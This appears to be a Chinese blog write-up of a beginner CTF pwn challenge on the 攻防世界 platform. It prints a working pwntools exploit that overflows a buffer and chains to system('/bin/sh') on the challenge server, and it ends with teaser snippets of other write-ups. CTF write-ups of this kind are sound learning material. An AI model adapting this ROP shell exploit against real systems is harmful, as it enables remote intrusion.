可以看到題上已經有提示了(rop)
我們看一下程式的保護狀態和它的運**況
開了nx,問題不大。執行可以發現有乙個輸入點
放ida裡看看
在字串視窗可以發現有**/bin/sh**,並且左邊的函式視窗可以看到在.plt段有system函式
這就很舒服了呀,再結合一下題目給的提示,構造rop鏈就行,效果如下:
具體exp如下:
from pwn import
*#context.log_level = 'debug'
r = remote(
"111.198.29.45"
,49673
)bin_sh =
0x0804a024
system =
0x08048320
r.recvuntil(
"input:\n"
)payload =
'a'*
(0x88)+
'a'*
4+ p32(system)
+ p32(0)
+ p32(bin_sh)
r.send(payload)
r.interactive(
)
寫payload的時候要注意乙個問題:
所以在函式位址後面首先要去覆蓋它的返回位址
over
最後放一下我的部落格(www.buryia.top),有興趣的可以來看看(萌新的小天地,大
佬們輕點噴)
攻防世界pwn新手練習(level0)
老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...
攻防世界 crypto新手練習區
1 railfence 題目傳統型 假如有乙個字串 123456789 取字串長度的因數進行分組,假如key 3 1 2 3 分組情況,每三個數字一組,分為三組 4 5 6 7 8 9 然後每一組依次取乙個數字組成乙個新字串 147258369 加密完成的字串 123456 www型 同樣乙個字串 ...
pwn 練習6 攻防世界 level3
這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...